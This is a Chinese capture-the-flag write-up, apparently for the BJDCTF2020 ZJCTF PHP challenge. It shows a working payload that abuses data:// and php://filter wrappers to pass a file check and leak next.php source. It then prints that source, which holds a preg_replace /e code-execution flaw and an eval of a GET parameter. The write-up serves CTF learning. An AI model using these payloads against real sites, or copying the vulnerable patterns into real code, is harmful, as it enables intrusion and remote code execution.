进来直接给代码
接收外部GET传入的text和file参数
text参数得有内容,并且得是文件,文件内容得是I have a dream
如果通过了就输出I have a dream内容在页面中
然后file不给直接读flag,这里过滤文件名中的flag,不让我们这么快就读到flag
提示我们读取next.php文件
那我们就构造payload读取next.php文件的源码,进一步的信息应该就在这个文件里
data://协议可以写入文件,并且规定文件内容 逗号后写文件内容就行
data://text/plain,I have a dream
://filter伪造协议读取源码
payload:
?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php
base64解码得到next.php的源码
<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;
function complex($re, $str) {
return preg_replace(
'/(' . $re . ')/ei',
'strtolower("\\1")',
$str
);
}
foreach($_GET as $re => $str) {
echo complex($re, $str). "\n";
}
function getFlag(){
@eval($_GET['cmd']);
}
代码分析
深入研究preg_replace与代码执行 - 先知社区 (aliyun.com)
BUUCTF [BJDCTF2020]ZJCTF,不过如此(正则e模式漏洞)_[bjdctf2020]zjctf,不过如此_-栀蓝-的博客-CSDN博客